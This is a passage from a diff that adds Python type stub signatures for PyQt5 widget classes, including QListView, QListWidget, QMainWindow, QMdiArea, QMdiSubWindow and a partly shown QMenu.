QCompleter) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + @typing.overload + def inputMethodQuery(self, a0: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + @typing.overload + def inputMethodQuery(self, property: QtCore.Qt.InputMethodQuery, argument: typing.Any) -> typing.Any: ... + def cursorRect(self) -> QtCore.QRect: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def contextMenuEvent(self, a0: QtGui.QContextMenuEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def dropEvent(self, a0: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, e: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, e: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, a0: QtGui.QDragEnterEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def mouseDoubleClickEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionFrame') -> None: ... + def selectionChanged(self) -> None: ... + def editingFinished(self) -> None: ... + def returnPressed(self) -> None: ... + def cursorPositionChanged(self, a0: int, a1: int) -> None: ... + def textEdited(self, a0: str) -> None: ... + def textChanged(self, a0: str) -> None: ... + def createStandardContextMenu(self) -> 'QMenu': ... + def insert(self, a0: str) -> None: ... + def deselect(self) -> None: ... + def paste(self) -> None: ... + def copy(self) -> None: ... + def cut(self) -> None: ... + def redo(self) -> None: ... + def undo(self) -> None: ... + def selectAll(self) -> None: ... + def clear(self) -> None: ... + def setText(self, a0: str) -> None: ... + def hasAcceptableInput(self) -> bool: ... + def setInputMask(self, inputMask: str) -> None: ... + def inputMask(self) -> str: ... + def dragEnabled(self) -> bool: ... + def setDragEnabled(self, b: bool) -> None: ... + def isRedoAvailable(self) -> bool: ... + def isUndoAvailable(self) -> bool: ... + def selectionStart(self) -> int: ... + def selectedText(self) -> str: ... + def hasSelectedText(self) -> bool: ... + def setSelection(self, a0: int, a1: int) -> None: ... + def setModified(self, a0: bool) -> None: ... + def isModified(self) -> bool: ... + def end(self, mark: bool) -> None: ... + def home(self, mark: bool) -> None: ... + def del_(self) -> None: ... + def backspace(self) -> None: ... + def cursorWordBackward(self, mark: bool) -> None: ... + def cursorWordForward(self, mark: bool) -> None: ... + def cursorBackward(self, mark: bool, steps: int = ...) -> None: ... + def cursorForward(self, mark: bool, steps: int = ...) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def setAlignment(self, flag: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def cursorPositionAt(self, pos: QtCore.QPoint) -> int: ... + def setCursorPosition(self, a0: int) -> None: ... + def cursorPosition(self) -> int: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def validator(self) -> QtGui.QValidator: ... + def setValidator(self, a0: QtGui.QValidator) -> None: ... + def setReadOnly(self, a0: bool) -> None: ... + def isReadOnly(self) -> bool: ... + def setEchoMode(self, a0: 'QLineEdit.EchoMode') -> None: ... + def echoMode(self) -> 'QLineEdit.EchoMode': ... + def hasFrame(self) -> bool: ... + def setFrame(self, a0: bool) -> None: ... + def setMaxLength(self, a0: int) -> None: ... + def maxLength(self) -> int: ... + def displayText(self) -> str: ... + def text(self) -> str: ... + + +class QListView(QAbstractItemView): + + class ViewMode(int): + ListMode = ... # type: QListView.ViewMode + IconMode = ... # type: QListView.ViewMode + + class LayoutMode(int): + SinglePass = ... # type: QListView.LayoutMode + Batched = ... # type: QListView.LayoutMode + + class ResizeMode(int): + Fixed = ... # type: QListView.ResizeMode + Adjust = ... # type: QListView.ResizeMode + + class Flow(int): + LeftToRight = ... # type: QListView.Flow + TopToBottom = ... # type: QListView.Flow + + class Movement(int): + Static = ... # type: QListView.Movement + Free = ... # type: QListView.Movement + Snap = ... # type: QListView.Movement + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def itemAlignment(self) -> QtCore.Qt.Alignment: ... + def setItemAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def currentChanged(self, current: QtCore.QModelIndex, previous: QtCore.QModelIndex) -> None: ... + def selectionChanged(self, selected: QtCore.QItemSelection, deselected: QtCore.QItemSelection) -> None: ... + def isSelectionRectVisible(self) -> bool: ... + def setSelectionRectVisible(self, show: bool) -> None: ... + def wordWrap(self) -> bool: ... + def setWordWrap(self, on: bool) -> None: ... + def batchSize(self) -> int: ... + def setBatchSize(self, batchSize: int) -> None: ... + def viewportSizeHint(self) -> QtCore.QSize: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def updateGeometries(self) -> None: ... + def selectedIndexes(self) -> typing.List[QtCore.QModelIndex]: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def setPositionForIndex(self, position: QtCore.QPoint, index: QtCore.QModelIndex) -> None: ... + def rectForIndex(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def moveCursor(self, cursorAction: QAbstractItemView.CursorAction, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def viewOptions(self) -> 'QStyleOptionViewItem': ... + def startDrag(self, supportedActions: typing.Union[QtCore.Qt.DropActions, QtCore.Qt.DropAction]) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def dropEvent(self, e: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, e: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, e: QtGui.QDragMoveEvent) -> None: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def timerEvent(self, e: QtCore.QTimerEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, e: QtGui.QMouseEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def rowsAboutToBeRemoved(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def rowsInserted(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def dataChanged(self, topLeft: QtCore.QModelIndex, bottomRight: QtCore.QModelIndex, roles: typing.Iterable[int] = ...) -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def indexesMoved(self, indexes: typing.Iterable[QtCore.QModelIndex]) -> None: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def reset(self) -> None: ... + def indexAt(self, p: QtCore.QPoint) -> QtCore.QModelIndex: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def uniformItemSizes(self) -> bool: ... + def setUniformItemSizes(self, enable: bool) -> None: ... + def modelColumn(self) -> int: ... + def setModelColumn(self, column: int) -> None: ... + def setRowHidden(self, row: int, hide: bool) -> None: ... + def isRowHidden(self, row: int) -> bool: ... + def clearPropertyFlags(self) -> None: ... + def viewMode(self) -> 'QListView.ViewMode': ... + def setViewMode(self, mode: 'QListView.ViewMode') -> None: ... + def gridSize(self) -> QtCore.QSize: ... + def setGridSize(self, size: QtCore.QSize) -> None: ... + def spacing(self) -> int: ... + def setSpacing(self, space: int) -> None: ... + def layoutMode(self) -> 'QListView.LayoutMode': ... + def setLayoutMode(self, mode: 'QListView.LayoutMode') -> None: ... + def resizeMode(self) -> 'QListView.ResizeMode': ... + def setResizeMode(self, mode: 'QListView.ResizeMode') -> None: ... + def isWrapping(self) -> bool: ... + def setWrapping(self, enable: bool) -> None: ... + def flow(self) -> 'QListView.Flow': ... + def setFlow(self, flow: 'QListView.Flow') -> None: ... + def movement(self) -> 'QListView.Movement': ... + def setMovement(self, movement: 'QListView.Movement') -> None: ... + + +class QListWidgetItem(PyQt5.sip.wrapper): + + class ItemType(int): + Type = ... # type: QListWidgetItem.ItemType + UserType = ... # type: QListWidgetItem.ItemType + + @typing.overload + def __init__(self, parent: typing.Optional['QListWidget'] = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional['QListWidget'] = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, icon: QtGui.QIcon, text: str, parent: typing.Optional['QListWidget'] = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QListWidgetItem') -> None: ... + + def isHidden(self) -> bool: ... + def setHidden(self, ahide: bool) -> None: ... + def isSelected(self) -> bool: ... + def setSelected(self, aselect: bool) -> None: ... + def setForeground(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def foreground(self) -> QtGui.QBrush: ... + def setBackground(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def background(self) -> QtGui.QBrush: ... + def setFont(self, afont: QtGui.QFont) -> None: ... + def setWhatsThis(self, awhatsThis: str) -> None: ... + def setToolTip(self, atoolTip: str) -> None: ... + def setStatusTip(self, astatusTip: str) -> None: ... + def setIcon(self, aicon: QtGui.QIcon) -> None: ... + def setText(self, atext: str) -> None: ... + def setFlags(self, aflags: typing.Union[QtCore.Qt.ItemFlags, QtCore.Qt.ItemFlag]) -> None: ... + def type(self) -> int: ... + def write(self, out: QtCore.QDataStream) -> None: ... + def read(self, in_: QtCore.QDataStream) -> None: ... + def setData(self, role: int, value: typing.Any) -> None: ... + def data(self, role: int) -> typing.Any: ... + def setSizeHint(self, size: QtCore.QSize) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def setCheckState(self, state: QtCore.Qt.CheckState) -> None: ... + def checkState(self) -> QtCore.Qt.CheckState: ... + def setTextAlignment(self, alignment: int) -> None: ... + def textAlignment(self) -> int: ... + def font(self) -> QtGui.QFont: ... + def whatsThis(self) -> str: ... + def toolTip(self) -> str: ... + def statusTip(self) -> str: ... + def icon(self) -> QtGui.QIcon: ... + def text(self) -> str: ... + def flags(self) -> QtCore.Qt.ItemFlags: ... + def listWidget(self) -> 'QListWidget': ... + def clone(self) -> 'QListWidgetItem': ... + + +class QListWidget(QListView): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isPersistentEditorOpen(self, item: QListWidgetItem) -> bool: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def removeItemWidget(self, aItem: QListWidgetItem) -> None: ... + def dropEvent(self, event: QtGui.QDropEvent) -> None: ... + def isSortingEnabled(self) -> bool: ... + def setSortingEnabled(self, enable: bool) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def itemFromIndex(self, index: QtCore.QModelIndex) -> QListWidgetItem: ... + def indexFromItem(self, item: QListWidgetItem) -> QtCore.QModelIndex: ... + def items(self, data: QtCore.QMimeData) -> typing.List[QListWidgetItem]: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def dropMimeData(self, index: int, data: QtCore.QMimeData, action: QtCore.Qt.DropAction) -> bool: ... + def mimeData(self, items: typing.Iterable[QListWidgetItem]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def itemSelectionChanged(self) -> None: ... + def currentRowChanged(self, currentRow: int) -> None: ... + def currentTextChanged(self, currentText: str) -> None: ... + def currentItemChanged(self, current: QListWidgetItem, previous: QListWidgetItem) -> None: ... + def itemChanged(self, item: QListWidgetItem) -> None: ... + def itemEntered(self, item: QListWidgetItem) -> None: ... + def itemActivated(self, item: QListWidgetItem) -> None: ... + def itemDoubleClicked(self, item: QListWidgetItem) -> None: ... + def itemClicked(self, item: QListWidgetItem) -> None: ... + def itemPressed(self, item: QListWidgetItem) -> None: ... + def scrollToItem(self, item: QListWidgetItem, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def clear(self) -> None: ... + def findItems(self, text: str, flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag]) -> typing.List[QListWidgetItem]: ... + def selectedItems(self) -> typing.List[QListWidgetItem]: ... + def closePersistentEditor(self, item: QListWidgetItem) -> None: ... + def openPersistentEditor(self, item: QListWidgetItem) -> None: ... + def editItem(self, item: QListWidgetItem) -> None: ... + def sortItems(self, order: QtCore.Qt.SortOrder = ...) -> None: ... + def visualItemRect(self, item: QListWidgetItem) -> QtCore.QRect: ... + def setItemWidget(self, item: QListWidgetItem, widget: QWidget) -> None: ... + def itemWidget(self, item: QListWidgetItem) -> QWidget: ... + @typing.overload + def itemAt(self, p: QtCore.QPoint) -> QListWidgetItem: ... + @typing.overload + def itemAt(self, ax: int, ay: int) -> QListWidgetItem: ... + @typing.overload + def setCurrentRow(self, row: int) -> None: ... + @typing.overload + def setCurrentRow(self, row: int, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def currentRow(self) -> int: ... + @typing.overload + def setCurrentItem(self, item: QListWidgetItem) -> None: ... + @typing.overload + def setCurrentItem(self, item: QListWidgetItem, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def currentItem(self) -> QListWidgetItem: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def takeItem(self, row: int) -> QListWidgetItem: ... + def addItems(self, labels: typing.Iterable[str]) -> None: ... + @typing.overload + def addItem(self, aitem: QListWidgetItem) -> None: ... + @typing.overload + def addItem(self, label: str) -> None: ... + def insertItems(self, row: int, labels: typing.Iterable[str]) -> None: ... + @typing.overload + def insertItem(self, row: int, item: QListWidgetItem) -> None: ... + @typing.overload + def insertItem(self, row: int, label: str) -> None: ... + def row(self, item: QListWidgetItem) -> int: ... + def item(self, row: int) -> QListWidgetItem: ... + + +class QMainWindow(QWidget): + + class DockOption(int): + AnimatedDocks = ... # type: QMainWindow.DockOption + AllowNestedDocks = ... # type: QMainWindow.DockOption + AllowTabbedDocks = ... # type: QMainWindow.DockOption + ForceTabbedDocks = ... # type: QMainWindow.DockOption + VerticalTabs = ... # type: QMainWindow.DockOption + GroupedDragging = ... # type: QMainWindow.DockOption + + class DockOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMainWindow.DockOptions', 'QMainWindow.DockOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMainWindow.DockOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMainWindow.DockOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def resizeDocks(self, docks: typing.Iterable[QDockWidget], sizes: typing.Iterable[int], orientation: QtCore.Qt.Orientation) -> None: ... + def takeCentralWidget(self) -> QWidget: ... + def tabifiedDockWidgets(self, dockwidget: QDockWidget) -> typing.List[QDockWidget]: ... + def setTabPosition(self, areas: typing.Union[QtCore.Qt.DockWidgetAreas, QtCore.Qt.DockWidgetArea], tabPosition: 'QTabWidget.TabPosition') -> None: ... + def tabPosition(self, area: QtCore.Qt.DockWidgetArea) -> 'QTabWidget.TabPosition': ... + def setTabShape(self, tabShape: 'QTabWidget.TabShape') -> None: ... + def tabShape(self) -> 'QTabWidget.TabShape': ... + def setDocumentMode(self, enabled: bool) -> None: ... + def documentMode(self) -> bool: ... + def restoreDockWidget(self, dockwidget: QDockWidget) -> bool: ... + def unifiedTitleAndToolBarOnMac(self) -> bool: ... + def setUnifiedTitleAndToolBarOnMac(self, set: bool) -> None: ... + def toolBarBreak(self, toolbar: 'QToolBar') -> bool: ... + def removeToolBarBreak(self, before: 'QToolBar') -> None: ... + def dockOptions(self) -> 'QMainWindow.DockOptions': ... + def setDockOptions(self, options: typing.Union['QMainWindow.DockOptions', 'QMainWindow.DockOption']) -> None: ... + def tabifyDockWidget(self, first: QDockWidget, second: QDockWidget) -> None: ... + def setMenuWidget(self, menubar: QWidget) -> None: ... + def menuWidget(self) -> QWidget: ... + def isSeparator(self, pos: QtCore.QPoint) -> bool: ... + def isDockNestingEnabled(self) -> bool: ... + def isAnimated(self) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def contextMenuEvent(self, event: QtGui.QContextMenuEvent) -> None: ... + def tabifiedDockWidgetActivated(self, dockWidget: QDockWidget) -> None: ... + def toolButtonStyleChanged(self, toolButtonStyle: QtCore.Qt.ToolButtonStyle) -> None: ... + def iconSizeChanged(self, iconSize: QtCore.QSize) -> None: ... + def setDockNestingEnabled(self, enabled: bool) -> None: ... + def setAnimated(self, enabled: bool) -> None: ... + def createPopupMenu(self) -> 'QMenu': ... + def restoreState(self, state: typing.Union[QtCore.QByteArray, bytes, bytearray], version: int = ...) -> bool: ... + def saveState(self, version: int = ...) -> QtCore.QByteArray: ... + def dockWidgetArea(self, dockwidget: QDockWidget) -> QtCore.Qt.DockWidgetArea: ... + def removeDockWidget(self, dockwidget: QDockWidget) -> None: ... + def splitDockWidget(self, after: QDockWidget, dockwidget: QDockWidget, orientation: QtCore.Qt.Orientation) -> None: ... + @typing.overload + def addDockWidget(self, area: QtCore.Qt.DockWidgetArea, dockwidget: QDockWidget) -> None: ... + @typing.overload + def addDockWidget(self, area: QtCore.Qt.DockWidgetArea, dockwidget: QDockWidget, orientation: QtCore.Qt.Orientation) -> None: ... + def toolBarArea(self, toolbar: 'QToolBar') -> QtCore.Qt.ToolBarArea: ... + def removeToolBar(self, toolbar: 'QToolBar') -> None: ... + def insertToolBar(self, before: 'QToolBar', toolbar: 'QToolBar') -> None: ... + @typing.overload + def addToolBar(self, area: QtCore.Qt.ToolBarArea, toolbar: 'QToolBar') -> None: ... + @typing.overload + def addToolBar(self, toolbar: 'QToolBar') -> None: ... + @typing.overload + def addToolBar(self, title: str) -> 'QToolBar': ... + def insertToolBarBreak(self, before: 'QToolBar') -> None: ... + def addToolBarBreak(self, area: QtCore.Qt.ToolBarArea = ...) -> None: ... + def corner(self, corner: QtCore.Qt.Corner) -> QtCore.Qt.DockWidgetArea: ... + def setCorner(self, corner: QtCore.Qt.Corner, area: QtCore.Qt.DockWidgetArea) -> None: ... + def setCentralWidget(self, widget: QWidget) -> None: ... + def centralWidget(self) -> QWidget: ... + def setStatusBar(self, statusbar: 'QStatusBar') -> None: ... + def statusBar(self) -> 'QStatusBar': ... + def setMenuBar(self, menubar: 'QMenuBar') -> None: ... + def menuBar(self) -> 'QMenuBar': ... + def setToolButtonStyle(self, toolButtonStyle: QtCore.Qt.ToolButtonStyle) -> None: ... + def toolButtonStyle(self) -> QtCore.Qt.ToolButtonStyle: ... + def setIconSize(self, iconSize: QtCore.QSize) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + + +class QMdiArea(QAbstractScrollArea): + + class WindowOrder(int): + CreationOrder = ... # type: QMdiArea.WindowOrder + StackingOrder = ... # type: QMdiArea.WindowOrder + ActivationHistoryOrder = ... # type: QMdiArea.WindowOrder + + class ViewMode(int): + SubWindowView = ... # type: QMdiArea.ViewMode + TabbedView = ... # type: QMdiArea.ViewMode + + class AreaOption(int): + DontMaximizeSubWindowOnActivation = ... # type: QMdiArea.AreaOption + + class AreaOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMdiArea.AreaOptions', 'QMdiArea.AreaOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMdiArea.AreaOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMdiArea.AreaOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def tabsMovable(self) -> bool: ... + def setTabsMovable(self, movable: bool) -> None: ... + def tabsClosable(self) -> bool: ... + def setTabsClosable(self, closable: bool) -> None: ... + def setDocumentMode(self, enabled: bool) -> None: ... + def documentMode(self) -> bool: ... + def tabPosition(self) -> 'QTabWidget.TabPosition': ... + def setTabPosition(self, position: 'QTabWidget.TabPosition') -> None: ... + def tabShape(self) -> 'QTabWidget.TabShape': ... + def setTabShape(self, shape: 'QTabWidget.TabShape') -> None: ... + def viewMode(self) -> 'QMdiArea.ViewMode': ... + def setViewMode(self, mode: 'QMdiArea.ViewMode') -> None: ... + def setActivationOrder(self, order: 'QMdiArea.WindowOrder') -> None: ... + def activationOrder(self) -> 'QMdiArea.WindowOrder': ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def viewportEvent(self, event: QtCore.QEvent) -> bool: ... + def showEvent(self, showEvent: QtGui.QShowEvent) -> None: ... + def timerEvent(self, timerEvent: QtCore.QTimerEvent) -> None: ... + def resizeEvent(self, resizeEvent: QtGui.QResizeEvent) -> None: ... + def childEvent(self, childEvent: QtCore.QChildEvent) -> None: ... + def paintEvent(self, paintEvent: QtGui.QPaintEvent) -> None: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def setupViewport(self, viewport: QWidget) -> None: ... + def activatePreviousSubWindow(self) -> None: ... + def activateNextSubWindow(self) -> None: ... + def closeAllSubWindows(self) -> None: ... + def closeActiveSubWindow(self) -> None: ... + def cascadeSubWindows(self) -> None: ... + def tileSubWindows(self) -> None: ... + def setActiveSubWindow(self, window: 'QMdiSubWindow') -> None: ... + def subWindowActivated(self, a0: 'QMdiSubWindow') -> None: ... + def testOption(self, opton: 'QMdiArea.AreaOption') -> bool: ... + def setOption(self, option: 'QMdiArea.AreaOption', on: bool = ...) -> None: ... + def setBackground(self, background: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def background(self) -> QtGui.QBrush: ... + def removeSubWindow(self, widget: QWidget) -> None: ... + def currentSubWindow(self) -> 'QMdiSubWindow': ... + def subWindowList(self, order: 'QMdiArea.WindowOrder' = ...) -> typing.List['QMdiSubWindow']: ... + def addSubWindow(self, widget: QWidget, flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> 'QMdiSubWindow': ... + def activeSubWindow(self) -> 'QMdiSubWindow': ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QMdiSubWindow(QWidget): + + class SubWindowOption(int): + RubberBandResize = ... # type: QMdiSubWindow.SubWindowOption + RubberBandMove = ... # type: QMdiSubWindow.SubWindowOption + + class SubWindowOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QMdiSubWindow.SubWindowOptions', 'QMdiSubWindow.SubWindowOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QMdiSubWindow.SubWindowOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QMdiSubWindow.SubWindowOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def childEvent(self, childEvent: QtCore.QChildEvent) -> None: ... + def focusOutEvent(self, focusOutEvent: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, focusInEvent: QtGui.QFocusEvent) -> None: ... + def contextMenuEvent(self, contextMenuEvent: QtGui.QContextMenuEvent) -> None: ... + def keyPressEvent(self, keyEvent: QtGui.QKeyEvent) -> None: ... + def mouseMoveEvent(self, mouseEvent: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, mouseEvent: QtGui.QMouseEvent) -> None: ... + def mouseDoubleClickEvent(self, mouseEvent: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, mouseEvent: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, paintEvent: QtGui.QPaintEvent) -> None: ... + def moveEvent(self, moveEvent: QtGui.QMoveEvent) -> None: ... + def timerEvent(self, timerEvent: QtCore.QTimerEvent) -> None: ... + def resizeEvent(self, resizeEvent: QtGui.QResizeEvent) -> None: ... + def leaveEvent(self, leaveEvent: QtCore.QEvent) -> None: ... + def closeEvent(self, closeEvent: QtGui.QCloseEvent) -> None: ... + def changeEvent(self, changeEvent: QtCore.QEvent) -> None: ... + def hideEvent(self, hideEvent: QtGui.QHideEvent) -> None: ... + def showEvent(self, showEvent: QtGui.QShowEvent) -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def showShaded(self) -> None: ... + def showSystemMenu(self) -> None: ... + def aboutToActivate(self) -> None: ... + def windowStateChanged(self, oldState: typing.Union[QtCore.Qt.WindowStates, QtCore.Qt.WindowState], newState: typing.Union[QtCore.Qt.WindowStates, QtCore.Qt.WindowState]) -> None: ... + def mdiArea(self) -> QMdiArea: ... + def systemMenu(self) -> 'QMenu': ... + def setSystemMenu(self, systemMenu: 'QMenu') -> None: ... + def keyboardPageStep(self) -> int: ... + def setKeyboardPageStep(self, step: int) -> None: ... + def keyboardSingleStep(self) -> int: ... + def setKeyboardSingleStep(self, step: int) -> None: ... + def testOption(self, a0: 'QMdiSubWindow.SubWindowOption') -> bool: ... + def setOption(self, option: 'QMdiSubWindow.SubWindowOption', on: bool = ...) -> None: ... + def isShaded(self) -> bool: ... + def widget(self) -> QWidget: ... + def setWidget(self, widget: QWidget) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QMenu(QWidget): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, title: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + @typing.overload + def showTearOffMenu(self) -> None: ... + @typing.overload + def showTearOffMenu(self, pos: QtCore.QPoint) -> None: ... + def setToolTipsVisible(self, visible: bool) -> None: ... + def toolTipsVisible(self) -> bool: ... + @typing.overload + def insertSection(self, before: QAction, text: str) -> QAction: ... + @typing.overload + def insertSection(self, before: QAction, icon: QtGui.QIcon, text: str) -> QAction: ... + @typing.overload + def addSection(self, text: str) -> QAction: ... + @typing.overload + def addSection(self, icon: QtGui.QIcon, text: str) -> QAction: ... + def setSeparatorsCollapsible(self, collapse: bool) -> None: ... + def separatorsCollapsible(self) -> bool: ... + def isEmpty(self) -> bool: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def timerEvent(self, a0: QtCore.QTimerEvent) -> None: ... + def actionEvent(self, a0: QtGui.QActionEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def leaveEvent(self, a0: QtCore.QEvent) -> None: ... + def enterEvent(self, a0: QtCore.QEvent) -> None: ... + def wheelEvent(self, a0: QtGui.QWheelEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionMenuItem', action: QAction) -> None: ... + def columnCount(self) -> int: ... + def triggered(self, action: QAction) -> None: ... + def hovered(self, action: QAction) -> None: ... + def aboutToShow(self) -> None: ... + def aboutToHide(self) -> None: ... + def setNoReplayFor(self, widget: QWidget) -> None: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def icon(self) -> QtGui.QIcon: ... + def setTitle(self, title: str) -> None: ... + def title(self) -> str: ... + def menuAction(self) -> QAction: ... + def actionAt(self, a0: QtCore.QPoint) -> QAction: ... + def actionGeometry(self, a0: QAction) -> QtCore.QRect: ... + def sizeHint(self) -> QtCore.QSize: ... + @typing.overload + def exec(self) -> QAction: ... + @typing.overload + def exec(self, pos: QtCore.QPoint, action: typing.Optional[QAction] = ...) -> QAction: ... + @typing.overload + @staticmethod + def exec(actions: typing.Iterable[QAction], pos: QtCore.QPoint, at: typing.Optional[QAction] = ..., parent: typing.Optional[QWidget] = ...) -> QAction: ... + @typing.overload + def exec_(self) -> QAction: ... + @typing.overload + def exec_(self, p: QtCore.QPoint, action: typing.Optional[QAction] = ...) -> QAction: ... + @typing.overload + @staticmethod + def exec_(actions: typing.Iterable[QAction], pos: QtCore.QPoint, at: typing.Optional[QAction] = ..., parent: typing.Optional[QWidget] = ...) -> QAction: ... + def popup(self, p: QtCore.QPoint, action: typing.Optional[QAction] = ...) -> None: ... + def activeAction(self) -> QAction: ... + def setActiveAction(self, act: QAction) -> None: ... + def defaultAction(self) -> QAction: ... + def setDefaultAction(self, a0: QAction) -> None: ... + def hideTearOffMenu(self) -> None: ... + def 